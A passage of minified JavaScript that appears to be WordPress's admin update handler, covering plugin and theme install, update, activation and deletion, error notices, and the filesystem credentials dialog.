t,a,s,n,i,l=c("#wp-admin-bar-updates");g.updates.isValidResponse(e,"update")&&!g.updates.maybeHandleCredentialError(e,"update-plugin")&&(s=v(h("Update failed: %s"),e.errorMessage),"plugins"===pagenow||"plugins-network"===pagenow?(c('tr[data-plugin="'+e.plugin+'"]').removeClass("is-enqueued"),(a=(e.plugin?c('tr[data-plugin="'+e.plugin+'"]'):c('tr[data-slug="'+e.slug+'"]')).find(".update-message")).removeClass("updating-message notice-warning").addClass("notice-error").find("p").html(s),e.pluginName?a.find("p").attr("aria-label",v(r("%s update failed.","plugin"),e.pluginName)):a.find("p").removeAttr("aria-label")):"plugin-install"!==pagenow&&"plugin-install-network"!==pagenow||(n=h("Update failed."),(t=c(".plugin-card-"+e.slug+", #plugin-information-footer").append(g.updates.adminNotice({className:"update-message notice-error notice-alt is-dismissible",message:s}))).hasClass("plugin-card-"+e.slug)&&t.addClass("plugin-card-update-failed"),t.find(".update-now").text(n).removeClass("updating-message"),e.pluginName?(i=v(r("%s update failed.","plugin"),e.pluginName),t.find(".update-now").attr("aria-label",i)):(i="",t.find(".update-now").removeAttr("aria-label")),t.on("click",".notice.is-dismissible .notice-dismiss",function(){setTimeout(function(){t.removeClass("plugin-card-update-failed").find(".column-name a").trigger("focus"),t.find(".update-now").attr("aria-label",!1).text(h("Update Now"))},200)})),l.removeClass("spin"),g.a11y.speak(s,"assertive"),"plugin-information-footer"===t.attr("id")&&g.updates.setCardButtonStatus({status:"plugin-update-failed",slug:e.slug,removeClasses:"updating-message",text:n,ariaLabel:i}),f.trigger("wp-plugin-update-error",e))},g.updates.installPlugin=function(e){var t,a=c(".plugin-card-"+e.slug+", #plugin-information-footer"),s=a.find(".install-now"),n=h("Installing...");return e=_.extend({success:g.updates.installPluginSuccess,error:g.updates.installPluginError},e),(s="import"===pagenow?c('[data-slug="'+e.slug+'"]'):s).html()!==h("Installing...")&&s.data("originaltext",s.html()),t=v(r("Installing %s...","plugin"),s.data("name")),s.addClass("updating-message").attr("aria-label",t).text(n),g.a11y.speak(h("Installing... please wait.")),a.removeClass("plugin-card-install-failed").find(".notice.notice-error").remove(),f.trigger("wp-plugin-installing",e),"plugin-information-footer"===s.parent().attr("id")&&g.updates.setCardButtonStatus({status:"installing-plugin",slug:e.slug,addClasses:"updating-message",text:n,ariaLabel:t}),g.updates.ajax("install-plugin",e)},g.updates.installPluginSuccess=function(e){var t=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".install-now"),a=r("Installed!","plugin"),s=v(r("%s installed!","plugin"),e.pluginName);t.removeClass("updating-message").addClass("updated-message installed button-disabled").attr("aria-label",s).text(a),g.a11y.speak(h("Installation completed successfully.")),f.trigger("wp-plugin-install-success",e),e.activateUrl&&setTimeout(function(){g.updates.checkPluginDependencies({slug:e.slug})},1e3),"plugin-information-footer"===t.parent().attr("id")&&g.updates.setCardButtonStatus({status:"installed-plugin",slug:e.slug,removeClasses:"updating-message",addClasses:"updated-message installed button-disabled",text:a,ariaLabel:s})},g.updates.installPluginError=function(e){var t,a=c(".plugin-card-"+e.slug+", #plugin-information-footer"),s=a.find(".install-now"),n=h("Installation failed."),i=v(r("%s installation failed","plugin"),s.data("name"));g.updates.isValidResponse(e,"install")&&!g.updates.maybeHandleCredentialError(e,"install-plugin")&&(t=v(h("Installation failed: %s"),e.errorMessage),a.addClass("plugin-card-update-failed").append('<div class="notice notice-error notice-alt is-dismissible" role="alert"><p>'+t+"</p></div>"),a.on("click",".notice.is-dismissible .notice-dismiss",function(){setTimeout(function(){a.removeClass("plugin-card-update-failed").find(".column-name a").trigger("focus")},200)}),s.removeClass("updating-message").addClass("button-disabled").attr("aria-label",i).text(n),g.a11y.speak(t,"assertive"),g.updates.setCardButtonStatus({status:"plugin-install-failed",slug:e.slug,removeClasses:"updating-message",addClasses:"button-disabled",text:n,ariaLabel:i}),f.trigger("wp-plugin-install-error",e))},g.updates.checkPluginDependencies=function(e){return e=_.extend({success:g.updates.checkPluginDependenciesSuccess,error:g.updates.checkPluginDependenciesError},e),g.a11y.speak(h("Checking plugin dependencies... please wait.")),f.trigger("wp-checking-plugin-dependencies",e),g.updates.ajax("check_plugin_dependencies",e)},g.updates.checkPluginDependenciesSuccess=function(e){var t,a,s=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".install-now");s.removeClass("install-now installed button-disabled updated-message").addClass("activate-now button-primary").attr("href",e.activateUrl),g.a11y.speak(h("Plugin dependencies check completed successfully.")),f.trigger("wp-check-plugin-dependencies-success",e),("plugins-network"===pagenow||"plugin-install-network"===pagenow?(t=r("Network Activate","plugin"),a=v(r("Network Activate %s","plugin"),e.pluginName),s.attr("aria-label",a)):(t=r("Activate","plugin"),a=v(r("Activate %s","plugin"),e.pluginName),s.attr("aria-label",a).attr("data-name",e.pluginName).attr("data-slug",e.slug).attr("data-plugin",e.plugin))).text(t),"plugin-information-footer"===s.parent().attr("id")&&g.updates.setCardButtonStatus({status:"dependencies-check-success",slug:e.slug,removeClasses:"install-now installed button-disabled updated-message",addClasses:"activate-now button-primary",text:t,ariaLabel:a,pluginName:e.pluginName,plugin:e.plugin,href:e.activateUrl})},g.updates.checkPluginDependenciesError=function(e){var t,a=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".install-now"),s=r("Activate","plugin"),n=v(r("Cannot activate %1$s. %2$s","plugin"),e.pluginName,e.errorMessage);g.updates.isValidResponse(e,"check-dependencies")&&(t=v(h("Activation failed: %s"),e.errorMessage),g.a11y.speak(t,"assertive"),f.trigger("wp-check-plugin-dependencies-error",e),a.removeClass("install-now installed updated-message").addClass("activate-now button-primary").attr("aria-label",n).text(s),"plugin-information-footer"===a.parent().attr("id"))&&g.updates.setCardButtonStatus({status:"dependencies-check-failed",slug:e.slug,removeClasses:"install-now installed updated-message",addClasses:"activate-now button-primary",text:s,ariaLabel:n})},g.updates.activatePlugin=function(e){var t=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".activate-now, .activating-message");return e=_.extend({success:g.updates.activatePluginSuccess,error:g.updates.activatePluginError},e),g.a11y.speak(h("Activating... please wait.")),f.trigger("wp-activating-plugin",e),"plugin-information-footer"===t.parent().attr("id")&&g.updates.setCardButtonStatus({status:"activating-plugin",slug:e.slug,removeClasses:"installed updated-message button-primary",addClasses:"activating-message",text:h("Activating..."),ariaLabel:v(r("Activating %s","plugin"),e.name)}),g.updates.ajax("activate-plugin",e)},g.updates.activatePluginSuccess=function(e){var t=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".activating-message"),a=r("Activated!","plugin"),s=v("%s activated successfully.",e.pluginName);g.a11y.speak(h("Activation completed successfully.")),f.trigger("wp-plugin-activate-success",e),t.removeClass("activating-message").addClass("activated-message button-disabled").attr("aria-label",s).text(a),"plugin-information-footer"===t.parent().attr("id")&&g.updates.setCardButtonStatus({status:"activated-plugin",slug:e.slug,removeClasses:"activating-message",addClasses:"activated-message button-disabled",text:a,ariaLabel:s}),setTimeout(function(){t.removeClass("activated-message").text(r("Active","plugin")),"plugin-information-footer"===t.parent().attr("id")&&g.updates.setCardButtonStatus({status:"plugin-active",slug:e.slug,removeClasses:"activated-message",text:r("Active","plugin"),ariaLabel:v("%s is active.",e.pluginName)})},1e3)},g.updates.activatePluginError=function(e){var t,a=c(".plugin-card-"+e.slug+", #plugin-information-footer").find(".activating-message"),s=h("Activation failed."),n=v(r("%s activation failed","plugin"),e.pluginName);g.updates.isValidResponse(e,"activate")&&(t=v(h("Activation failed: %s"),e.errorMessage),g.a11y.speak(t,"assertive"),f.trigger("wp-plugin-activate-error",e),a.removeClass("install-now installed activating-message").addClass("button-disabled").attr("aria-label",n).text(s),"plugin-information-footer"===a.parent().attr("id"))&&g.updates.setCardButtonStatus({status:"plugin-activation-failed",slug:e.slug,removeClasses:"install-now installed activating-message",addClasses:"button-disabled",text:s,ariaLabel:n})},g.updates.installImporterSuccess=function(e){g.updates.addAdminNotice({id:"install-success",className:"notice-success is-dismissible",message:v(h('Importer installed successfully. <a href="%s">Run importer</a>'),e.activateUrl+"&from=import")}),c('[data-slug="'+e.slug+'"]').removeClass("install-now updating-message").addClass("activate-now").attr({href:e.activateUrl+"&from=import","aria-label":v(h("Run %s"),e.pluginName)}).text(h("Run Importer")),g.a11y.speak(h("Installation completed successfully.")),f.trigger("wp-importer-install-success",e)},g.updates.installImporterError=function(e){var t=v(h("Installation failed: %s"),e.errorMessage),a=c('[data-slug="'+e.slug+'"]'),s=a.data("name");g.updates.isValidResponse(e,"install")&&!g.updates.maybeHandleCredentialError(e,"install-plugin")&&(g.updates.addAdminNotice({id:e.errorCode,className:"notice-error is-dismissible",message:t}),a.removeClass("updating-message").attr("aria-label",v(r("Install %s now","plugin"),s)).text(r("Install Now","plugin")),g.a11y.speak(t,"assertive"),f.trigger("wp-importer-install-error",e))},g.updates.deletePlugin=function(e){var t=c('[data-plugin="'+e.plugin+'"]').find(".row-actions a.delete");return e=_.extend({success:g.updates.deletePluginSuccess,error:g.updates.deletePluginError},e),t.html()!==h("Deleting...")&&t.data("originaltext",t.html()).text(h("Deleting...")),g.a11y.speak(h("Deleting...")),f.trigger("wp-plugin-deleting",e),g.updates.ajax("delete-plugin",e)},g.updates.deletePluginSuccess=function(u){c('[data-plugin="'+u.plugin+'"]').css({backgroundColor:"#faafaa"}).fadeOut(350,function(){var e=c("#bulk-action-form"),t=c(".subsubsub"),a=c(this),s=t.find('[aria-current="page"]'),n=c(".displaying-num"),i=e.find("thead th:not(.hidden), thead td").length,l=g.template("item-deleted-row"),d=m.plugins;a.hasClass("plugin-update-tr")||a.after(l({slug:u.slug,plugin:u.plugin,colspan:i,name:u.pluginName})),a.remove(),-1!==_.indexOf(d.upgrade,u.plugin)&&(d.upgrade=_.without(d.upgrade,u.plugin),g.updates.decrementCount("plugin")),-1!==_.indexOf(d.inactive,u.plugin)&&(d.inactive=_.without(d.inactive,u.plugin),d.inactive.length?t.find(".inactive .count").text("("+d.inactive.length+")"):t.find(".inactive").remove()),-1!==_.indexOf(d.active,u.plugin)&&(d.active=_.without(d.active,u.plugin),d.active.length?t.find(".active .count").text("("+d.active.length+")"):t.find(".active").remove()),-1!==_.indexOf(d.recently_activated,u.plugin)&&(d.recently_activated=_.without(d.recently_activated,u.plugin),d.recently_activated.length?t.find(".recently_activated .count").text("("+d.recently_activated.length+")"):t.find(".recently_activated").remove()),-1!==_.indexOf(d["auto-update-enabled"],u.plugin)&&(d["auto-update-enabled"]=_.without(d["auto-update-enabled"],u.plugin),d["auto-update-enabled"].length?t.find(".auto-update-enabled .count").text("("+d["auto-update-enabled"].length+")"):t.find(".auto-update-enabled").remove()),-1!==_.indexOf(d["auto-update-disabled"],u.plugin)&&(d["auto-update-disabled"]=_.without(d["auto-update-disabled"],u.plugin),d["auto-update-disabled"].length?t.find(".auto-update-disabled .count").text("("+d["auto-update-disabled"].length+")"):t.find(".auto-update-disabled").remove()),d.all=_.without(d.all,u.plugin),d.all.length?t.find(".all .count").text("("+d.all.length+")"):(e.find(".tablenav").css({visibility:"hidden"}),t.find(".all").remove(),e.find("tr.no-items").length||e.find("#the-list").append('<tr class="no-items"><td class="colspanchange" colspan="'+i+'">'+h("No plugins are currently available.")+"</td></tr>")),n.length&&s.length&&(l=d[s.parent("li").attr("class")].length,n.text(v(o("%s item","%s items",l,"plugin/plugins"),l)))}),g.a11y.speak(r("Deleted!","plugin")),f.trigger("wp-plugin-delete-success",u)},g.updates.deletePluginError=function(e){var t,a=g.template("item-update-row"),s=g.updates.adminNotice({className:"update-message notice-error notice-alt",message:e.errorMessage}),n=e.plugin?(t=c('tr.inactive[data-plugin="'+e.plugin+'"]')).siblings('[data-plugin="'+e.plugin+'"]'):(t=c('tr.inactive[data-slug="'+e.slug+'"]')).siblings('[data-slug="'+e.slug+'"]');g.updates.isValidResponse(e,"delete")&&!g.updates.maybeHandleCredentialError(e,"delete-plugin")&&(n.length?(n.find(".notice-error").remove(),n.find(".plugin-update").append(s)):t.addClass("update").after(a({slug:e.slug,plugin:e.plugin||e.slug,colspan:c("#bulk-action-form").find("thead th:not(.hidden), thead td").length,content:s})),f.trigger("wp-plugin-delete-error",e))},g.updates.updateTheme=function(e){var t;return e=_.extend({success:g.updates.updateThemeSuccess,error:g.updates.updateThemeError},e),(t=("themes-network"===pagenow?c('[data-slug="'+e.slug+'"]').find(".update-message").removeClass("notice-error").addClass("updating-message notice-warning"):(t="customize"===pagenow?((t=c('[data-slug="'+e.slug+'"].notice').removeClass("notice-large")).find("h3").remove(),t.add(c("#customize-control-installed_theme_"+e.slug).find(".update-message"))):((t=c("#update-theme").closest(".notice").removeClass("notice-large")).find("h3").remove(),t.add(c('[data-slug="'+e.slug+'"]').find(".update-message")))).addClass("updating-message")).find("p")).html()!==h("Updating...")&&t.data("originaltext",t.html()),g.a11y.speak(h("Updating... please wait.")),t.text(h("Updating...")),f.trigger("wp-theme-updating",e),g.updates.ajax("update-theme",e)},g.updates.updateThemeSuccess=function(e){var t,a,s=c("body.modal-open").length,n=c('[data-slug="'+e.slug+'"]'),i={className:"updated-message notice-success notice-alt",message:r("Updated!","theme")};"customize"===pagenow?((n=c(".updating-message").siblings(".theme-name")).length&&(a=n.html().replace(e.oldVersion,e.newVersion),n.html(a)),t=c(".theme-info .notice").add(g.customize.control("installed_theme_"+e.slug).container.find(".theme").find(".update-message"))):"themes-network"===pagenow?(t=n.find(".update-message"),a=n.find(".theme-version-author-uri").html().replace(e.oldVersion,e.newVersion),n.find(".theme-version-author-uri").html(a),n.find(".auto-update-time").empty()):(t=c(".theme-info .notice").add(n.find(".update-message")),s?(c(".load-customize:visible").trigger("focus"),c(".theme-info .theme-autoupdate").find(".auto-update-time").empty()):n.find(".load-customize").trigger("focus")),g.updates.addAdminNotice(_.extend({selector:t},i)),g.a11y.speak(h("Update completed successfully.")),g.updates.decrementCount("theme"),f.trigger("wp-theme-update-success",e),s&&"customize"!==pagenow&&c(".theme-info .theme-author").after(g.updates.adminNotice(i))},g.updates.updateThemeError=function(e){var t,a=c('[data-slug="'+e.slug+'"]'),s=v(h("Update failed: %s"),e.errorMessage);g.updates.isValidResponse(e,"update")&&!g.updates.maybeHandleCredentialError(e,"update-theme")&&("customize"===pagenow&&(a=g.customize.control("installed_theme_"+e.slug).container.find(".theme")),"themes-network"===pagenow?t=a.find(".update-message "):(t=c(".theme-info .notice").add(a.find(".notice")),(c("body.modal-open").length?c(".load-customize:visible"):a.find(".load-customize")).trigger("focus")),g.updates.addAdminNotice({selector:t,className:"update-message notice-error notice-alt is-dismissible",message:s}),g.a11y.speak(s),f.trigger("wp-theme-update-error",e))},g.updates.installTheme=function(e){var t=c('.theme-install[data-slug="'+e.slug+'"]');return e=_.extend({success:g.updates.installThemeSuccess,error:g.updates.installThemeError},e),t.addClass("updating-message"),t.parents(".theme").addClass("focus"),t.html()!==h("Installing...")&&t.data("originaltext",t.html()),t.attr("aria-label",v(r("Installing %s...","theme"),t.data("name"))).text(h("Installing...")),g.a11y.speak(h("Installing... please wait.")),c('.install-theme-info, [data-slug="'+e.slug+'"]').removeClass("theme-install-failed").find(".notice.notice-error").remove(),f.trigger("wp-theme-installing",e),g.updates.ajax("install-theme",e)},g.updates.installThemeSuccess=function(e){var t,a=c(".wp-full-overlay-header, [data-slug="+e.slug+"]");f.trigger("wp-theme-install-success",e),t=a.find(".button-primary").removeClass("updating-message").addClass("updated-message disabled").attr("aria-label",v(r("%s installed!","theme"),e.themeName)).text(r("Installed!","theme")),g.a11y.speak(h("Installation completed successfully.")),setTimeout(function(){e.activateUrl&&(t.attr("href",e.activateUrl).removeClass("theme-install updated-message disabled").addClass("activate"),"themes-network"===pagenow?t.attr("aria-label",v(r("Network Activate %s","theme"),e.themeName)).text(h("Network Enable")):t.attr("aria-label",v(r("Activate %s","theme"),e.themeName)).text(r("Activate","theme"))),e.customizeUrl&&t.siblings(".preview").replaceWith(function(){return c("<a>").attr("href",e.customizeUrl).addClass("button load-customize").text(h("Live Preview"))})},1e3)},g.updates.installThemeError=function(e){var t,a=v(h("Installation failed: %s"),e.errorMessage),s=g.updates.adminNotice({className:"update-message notice-error notice-alt",message:a});g.updates.isValidResponse(e,"install")&&!g.updates.maybeHandleCredentialError(e,"install-theme")&&("customize"===pagenow?(f.find("body").hasClass("modal-open")?(t=c('.theme-install[data-slug="'+e.slug+'"]'),c(".theme-overlay .theme-info").prepend(s)):(t=c('.theme-install[data-slug="'+e.slug+'"]')).closest(".theme").addClass("theme-install-failed").append(s),g.customize.notifications.remove("theme_installing")):f.find("body").hasClass("full-overlay-active")?(t=c('.theme-install[data-slug="'+e.slug+'"]'),c(".install-theme-info").prepend(s)):t=c('[data-slug="'+e.slug+'"]').removeClass("focus").addClass("theme-install-failed").append(s).find(".theme-install"),t.removeClass("updating-message").attr("aria-label",v(r("%s installation failed","theme"),t.data("name"))).text(h("Installation failed.")),g.a11y.speak(a,"assertive"),f.trigger("wp-theme-install-error",e))},g.updates.deleteTheme=function(e){var t;return"themes"===pagenow?t=c(".theme-actions .delete-theme"):"themes-network"===pagenow&&(t=c('[data-slug="'+e.slug+'"]').find(".row-actions a.delete")),e=_.extend({success:g.updates.deleteThemeSuccess,error:g.updates.deleteThemeError},e),t&&t.html()!==h("Deleting...")&&t.data("originaltext",t.html()).text(h("Deleting...")),g.a11y.speak(h("Deleting...")),c(".theme-info .update-message").remove(),f.trigger("wp-theme-deleting",e),g.updates.ajax("delete-theme",e)},g.updates.deleteThemeSuccess=function(n){var e=c('[data-slug="'+n.slug+'"]');"themes-network"===pagenow&&e.css({backgroundColor:"#faafaa"}).fadeOut(350,function(){var e=c(".subsubsub"),t=c(this),a=m.themes,s=g.template("item-deleted-row");t.hasClass("plugin-update-tr")||t.after(s({slug:n.slug,colspan:c("#bulk-action-form").find("thead th:not(.hidden), thead td").length,name:t.find(".theme-title strong").text()})),t.remove(),-1!==_.indexOf(a.upgrade,n.slug)&&(a.upgrade=_.without(a.upgrade,n.slug),g.updates.decrementCount("theme")),-1!==_.indexOf(a.disabled,n.slug)&&(a.disabled=_.without(a.disabled,n.slug),a.disabled.length?e.find(".disabled .count").text("("+a.disabled.length+")"):e.find(".disabled").remove()),-1!==_.indexOf(a["auto-update-enabled"],n.slug)&&(a["auto-update-enabled"]=_.without(a["auto-update-enabled"],n.slug),a["auto-update-enabled"].length?e.find(".auto-update-enabled .count").text("("+a["auto-update-enabled"].length+")"):e.find(".auto-update-enabled").remove()),-1!==_.indexOf(a["auto-update-disabled"],n.slug)&&(a["auto-update-disabled"]=_.without(a["auto-update-disabled"],n.slug),a["auto-update-disabled"].length?e.find(".auto-update-disabled .count").text("("+a["auto-update-disabled"].length+")"):e.find(".auto-update-disabled").remove()),a.all=_.without(a.all,n.slug),e.find(".all .count").text("("+a.all.length+")")}),"themes"===pagenow&&_.find(_wpThemeSettings.themes,{id:n.slug}).hasUpdate&&g.updates.decrementCount("theme"),g.a11y.speak(r("Deleted!","theme")),f.trigger("wp-theme-delete-success",n)},g.updates.deleteThemeError=function(e){var t=c('tr.inactive[data-slug="'+e.slug+'"]'),a=c(".theme-actions .delete-theme"),s=g.template("item-update-row"),n=t.siblings("#"+e.slug+"-update"),i=v(h("Deletion failed: %s"),e.errorMessage),l=g.updates.adminNotice({className:"update-message notice-error notice-alt",message:i});g.updates.maybeHandleCredentialError(e,"delete-theme")||("themes-network"===pagenow?n.length?(n.find(".notice-error").remove(),n.find(".plugin-update").append(l)):t.addClass("update").after(s({slug:e.slug,colspan:c("#bulk-action-form").find("thead th:not(.hidden), thead td").length,content:l})):c(".theme-info .theme-description").before(l),a.html(a.data("originaltext")),g.a11y.speak(i,"assertive"),f.trigger("wp-theme-delete-error",e))},g.updates._addCallbacks=function(e,t){return"import"===pagenow&&"install-plugin"===t&&(e.success=g.updates.installImporterSuccess,e.error=g.updates.installImporterError),e},g.updates.queueChecker=function(){var e;if(!g.updates.ajaxLocked&&g.updates.queue.length)switch((e=g.updates.queue.shift()).action){case"install-plugin":g.updates.installPlugin(e.data);break;case"update-plugin":g.updates.updatePlugin(e.data);break;case"delete-plugin":g.updates.deletePlugin(e.data);break;case"install-theme":g.updates.installTheme(e.data);break;case"update-theme":g.updates.updateTheme(e.data);break;case"delete-theme":g.updates.deleteTheme(e.data)}},g.updates.requestFilesystemCredentials=function(e){!1===g.updates.filesystemCredentials.available&&(e&&!g.updates.$elToReturnFocusToFromCredentialsModal&&(g.updates.$elToReturnFocusToFromCredentialsModal=c(e.target)),g.updates.ajaxLocked=!0,g.updates.requestForCredentialsModalOpen())},g.updates.maybeRequestFilesystemCredentials=function(e){g.updates.shouldRequestFilesystemCredentials&&!g.updates.ajaxLocked&&g.updates.requestFilesystemCredentials(e)},g.updates.keydown=function(e){27===e.keyCode?g.updates.requestForCredentialsModalCancel():9===e.keyCode&&("upgrade"!==e.target.id||e.shiftKey?"hostname"===e.target.id&&e.shiftKey&&(c("#upgrade").trigger("focus"),e.preventDefault()):(c("#hostname").trigger("focus"),e.preventDefault()))},g.updates.requestForCredentialsModalOpen=function(){var e=c("#request-filesystem-credentials-dialog");c("body").addClass("modal-open"),e.show(),e.find("input:enabled:first").trigger("focus"),e.on("keydown",g.updates.keydown)},g.updates.requestForCredentialsModalClose=function(){c("#request-filesystem-credentials-dialog").hide(),c("body").removeClass("modal-open"),g.updates.$elToReturnFocusToFromCredentialsModal&&g.updates.$elToReturnFocusToFromCredentialsModal.trigger("focus")},g.updates.requestForCredentialsModalCancel=function(){(g.updates.ajaxLocked||g.updates.queue.length)&&(_.each(g.updates.queue,function(e){f.trigger("credential-modal-cancel",e)}),g.updates.ajaxLocked=!1,g.updates.queue=[],g.updates.requestForCredentialsModalClose())},g.updates.showErrorInCredentialsForm=function(e){var t=c("#request-filesystem-credentials-form");t.find(".notice").remove(),t.find("#request-filesystem-credentials-title").after('<div class="notice notice-alt notice-error" role="alert"><p>'+e+"</p></div>")},g.updates.credentialError=function(e,t){e=g.updates._addCallbacks(e,t),g.updates.queue.unshift({action:t,data:e}),g.updates.filesystemCredentials.available=!1,g.updates.showErrorInCredentialsForm(e.errorMessage),g.updates.requestFilesystemCredentials()},g.updates.maybeHandleCredentialError=function(e,t){return!(!g.updates.shouldRequestFilesystemCredentials||!e.errorCode||"unable_to_connect_to_filesystem"!==e.errorCode||(g.updates.credentialError(e,t),0))},g.updates.isValidResponse=function(e,t){var a,s=h("An error occurred during the update process. Please try again.");if(_.isObject(e)&&!_.isFunction(e.always))return!0;switch(_.isString(e)&&"-1"===e?s=h("An error has occurred. Please reload the page and try again."):_.isString(e)?s=e:void 0!==e.readyState&&0===e.readyState?s=h("Connection lost or the server is busy. Please try again later."):_.isString(e.responseText)&&""!==e.responseText?s=e.responseText:_.isString(e.statusText)&&(s=e.statusText),t){case"update":a=h("Update failed: %s");break;case"install":a=h("Installation failed: %s");break;case"check-dependencies":a=h("Dependencies check failed: %s");break;case"activate":a=h("Activation failed: %s");break;case"delete":a=h("Deletion failed: %s")}return s=s.replace(/<[\/a-z][^<>]*>/gi,""),a=a.replace("%s",s),g.updates.addAdminNotice({id:"unknown_error",className:"notice-error is-dismissible",message:_.escape(a)}),g.updates.ajaxLocked=!1,g.updates.queue=[],c(".button.updating-message").removeClass("updating-message").removeAttr("aria-label").prop("disabled",!0).text(h("Update failed.")),c(".updating-message:not(.button):not(.thickbox)").removeClass("updating-message notice-warning").addClass("notice-error").find("p").removeAttr("aria-label").text(a),g.a11y.speak(a,"assertive"),!1},g.updates.beforeunload=function(){if(g.updates.ajaxLocked)return h("Updates may not complete if you navigate away from this page.")},c(function(){var l=c("#plugin-filter, #plugin-information-footer"),o=c("#bulk-action-form"),e=c("#request-filesystem-credentials-form"),t=c("#request-filesystem-credentials-dialog"),a=c(".plugins-php .wp-filter-search"),d=c(".plugin-install-php .wp-filter-search"),s=((m=_.extend(m,window._wpUpdatesItemCounts||{})).totals&&g.updates.refreshCount(),g.updates.shouldRequestFilesystemCredentials=0<t.length,t.on("submit","form",function(e){e.preventDefault(),g.updates.filesystemCredentials.ftp.hostname=c("#hostname").val(),g.updates.filesystemCredentials.ftp.username=c("#username").val(),g.updates.filesystemCredentials.ftp.password=c("#password").val(),g.updates.filesystemCredentials.ftp.connectionType=c('input[name="connection_type"]:checked').val(),g.updates.filesystemCredentials.ssh.publicKey=c("#public_key").val(),g.updates.filesystemCredentials.ssh.privateKey=c("#private_key").val(),g.updates.filesystemCredentials.fsNonce=c("#_fs_nonce").val(),g.updates.filesystemCredentials.available=!0,g.updates.ajaxLocked=!1,g.updates.queueChecker(),g.updates.requestForCredentialsModalClose()}),t.on("click",'[data-js-action="close"], .notification-dialog-background',g.updates.requestForCredentialsModalCancel),e.on("change",'input[name="connection_type"]',function(){c("#ssh-keys").toggleClass("hidden","ssh"!==c(this).val())}).trigger("change"),f.on("credential-modal-cancel",function(e,t){var a,s=c(".updating-message");"import"===pagenow?s.removeClass("updating-message"):"plugins"===pagenow||"plugins-network"===pagenow?"update-plugin"===t.action?a=c('tr[data-plugin="'+t.data.plugin+'"]').find(".update-message"):"delete-plugin"===t.action&&(a=c('[data-plugin="'+t.data.plugin+'"]').find(".row-actions a.delete")):"themes"===pagenow||"themes-network"===pagenow?"update-theme"===t.action?a=c('[data-slug="'+t.data.slug+'"]').find(".update-message"):"delete-theme"===t.action&&"themes-network"===pagenow?a=c('[data-slug="'+t.data.slug+'"]').find(".row-actions a.delete"):"delete-theme"===t.action&&"themes"===pagenow&&(a=c(".theme-actions .delete-theme")):a=s,a&&a.hasClass("updating-message")&&(void 0===(s=a.data("originaltext"))&&(s=c("<p>").html(a.find("p").data("originaltext"))),a.removeClass("updating-message").html(s),"plugin-install"!==pagenow&&"plugin-install-network"!==pagenow||("update-plugin"===t.action?a.attr("aria-label",v(r("Update %s now","plugin"),a.data("name"))):"install-plugin"===t.action&&a.attr("aria-label",v(r("Install %s now","plugin"),a.data("name"))))),g.a11y.speak(h("Update canceled."))}),o.on("click","[data-plugin] .update-link",function(e){var t=c(e.target),a=t.parents("tr");e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.maybeRequestFilesystemCredentials(e),g.updates.$elToReturnFocusToFromCredentialsModal=a.find(".check-column input"),g.updates.updatePlugin({plugin:a.data("plugin"),slug:a.data("slug")}))}),l.on("click",".update-now",function(e){var t=c(e.target);e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.maybeRequestFilesystemCredentials(e),g.updates.updatePlugin({plugin:t.data("plugin"),slug:t.data("slug")}))}),l.on("click",".install-now",function(e){var t=c(e.target);e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.shouldRequestFilesystemCredentials&&!g.updates.ajaxLocked&&(g.updates.requestFilesystemCredentials(e),f.on("credential-modal-cancel",function(){c(".install-now.updating-message").removeClass("updating-message").text(r("Install Now","plugin")),g.a11y.speak(h("Update canceled."))})),g.updates.installPlugin({slug:t.data("slug")}))}),f.on("click","#plugin-information-footer .activate-now",function(e){e.preventDefault(),window.parent.location.href=c(e.target).attr("href")}),f.on("click",".importer-item .install-now",function(e){var t=c(e.target),a=c(this).data("name");e.preventDefault(),t.hasClass("updating-message")||(g.updates.shouldRequestFilesystemCredentials&&!g.updates.ajaxLocked&&(g.updates.requestFilesystemCredentials(e),f.on("credential-modal-cancel",function(){t.removeClass("updating-message").attr("aria-label",v(r("Install %s now","plugin"),a)).text(r("Install Now","plugin")),g.a11y.speak(h("Update canceled."))})),g.updates.installPlugin({slug:t.data("slug"),pagenow:pagenow,success:g.updates.installImporterSuccess,error:g.updates.installImporterError}))}),o.on("click","[data-plugin] a.delete",function(e){var t=c(e.target).parents("tr"),a=t.hasClass("is-uninstallable")?v(h("Are you sure you want to delete %s and its data?"),t.find(".plugin-title strong").text()):v(h("Are you sure you want to delete %s?"),t.find(".plugin-title strong").text());e.preventDefault(),window.confirm(a)&&(g.updates.maybeRequestFilesystemCredentials(e),g.updates.deletePlugin({plugin:t.data("plugin"),slug:t.data("slug")}))}),f.on("click",".themes-php.network-admin .update-link",function(e){var t=c(e.target),a=t.parents("tr");e.preventDefault(),t.hasClass("updating-message")||t.hasClass("button-disabled")||(g.updates.maybeRequestFilesystemCredentials(e),g.updates.$elToReturnFocusToFromCredentialsModal=a.find(".check-column input"),g.updates.updateTheme({slug:a.data("slug")}))}),f.on("click",".themes-php.network-admin a.delete",function(e){var t=c(e.target).parents("tr"),a=v(h("Are you sure you want to delete %s?"),t.find(".theme-title strong").text());e.preventDefault(),window.confirm(a)&&(g.updates.maybeRequestFilesystemCredentials(e),g.updates.deleteTheme({slug:t.data("slug")}))}),o.on("click",'[type="submit"]:not([name="clear-recent-list"])',function(e){var t,s,n=c(e.target).siblings("select").val(),a=o.find('input[name="checked[]"]:checked'),i=0,l=0,d=[];switch(pagenow){case"plugins":case"plugins-network":t="plugin";break;case"themes-network":t="theme";break;default:return}switch(n=a.length?n:!1){case"update-selected":s=n.replace("selected",t);break;case"delete-selected":var u=h("plugin"===t?"Are you sure you want to delete the selected plugins and their data?":"Caution: These themes may be active on other sites in the network. Are you sure you want to proceed?");if(!window.confirm(u))return void e.preventDefault();s=n.replace("selected",t);break;default:return}g.updates.maybeRequestFilesystemCredentials(e),e.preventDefault(),o.find('.manage-column [type="checkbox"]').prop("checked",!1),f.trigger("wp-"+t+"-bulk-"+n,a),a.each(function(e,t){var 